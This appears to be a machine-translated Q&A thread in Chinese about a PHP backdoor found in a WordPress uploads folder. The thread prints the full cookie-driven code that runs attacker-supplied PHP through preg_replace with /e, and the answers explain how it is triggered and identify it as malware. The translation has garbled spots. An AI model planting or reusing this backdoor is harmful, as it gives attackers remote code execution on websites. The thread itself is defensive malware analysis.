从cookie执行PHP代码

Question

我发现了一些有趣的代码：

class PluginJoomla {
    public function __construct() {
        $jq = @$_COOKIE['ContentJQ3'];
        if ($jq) {
            $option = $jq(@$_COOKIE['ContentJQ2']);
            $au=$jq(@$_COOKIE['ContentJQ1']);
            $option("/438/e",$au,438); die();
        }
        else
            phpinfo();die;
    }
}
$content = new PluginJoomla;

它是WordPress网站的一部分，所以忽略类名称。正如您所看到的，$jq变量从一些Cookie文件中获取它的值。后来，它似乎被当作一个函数来处理：

$jq(@$_COOKIE['ContentJQ2']);

正如您在这里看到的，这是使用变量函数(https://php.net/manual/en/functions.variable-functions.php)的一个非常基本的PHP操作。

后面的$jq变量函数返回$option变量的函数和$au变量的字符串：

$option = $jq(@$_COOKIE['ContentJQ2']);
$au=$jq(@$_COOKIE['ContentJQ1']);
$option("/438/e",$au,438);

所以，我有一个问题，有没有可能做同样的事情，但是从Cookie文件中执行PHP代码(不仅要考虑exec()函数，还要用require()或使用ob_start()和ob_get_clean()来包含这样的文件)？

另外，你如何看待代码本身，它是某种病毒还是恶意软件？

Answer 1

这绝对是一个恶意的脚本。让我猜猜，您是在/wp-content/uploads/gravity_forms/...中找到它的？这就是我在十几个网站上发现它的地方，我的客户没有更新他们的重力表单安装。(幸运的是/wp-content/uploads/*.php在我的服务器上被阻止了。)

" $option ("/438 /e "，$au,438);“表示在$option为preg_replace时执行/e，因为有/e标志。

使用$_COOKIE'ContentJQ3'="base64_decode"，$_COOKIE'ContentJQ1'=base64("preg_replace")，并在最后执行黑客喜欢的任何php代码。然后它可以用来从你的文件系统下载任何文件( PHP可以访问；记住open_basedir)，对你的数据库做任何你喜欢做的事情。

如果你在你的文件系统上找到了这个文件，请检查你的访问日志，看看你是否被黑客入侵了。如果你不能证明你不是，请认为你的网站被攻破了。

Answer 2

这是恶意的，没错！AVG将其识别为Linux/Roopre，这是个坏消息，因为，正如@Geeklab所指出的那样，它可以在你的可湿性粉剂站点的上下文中执行任何东西。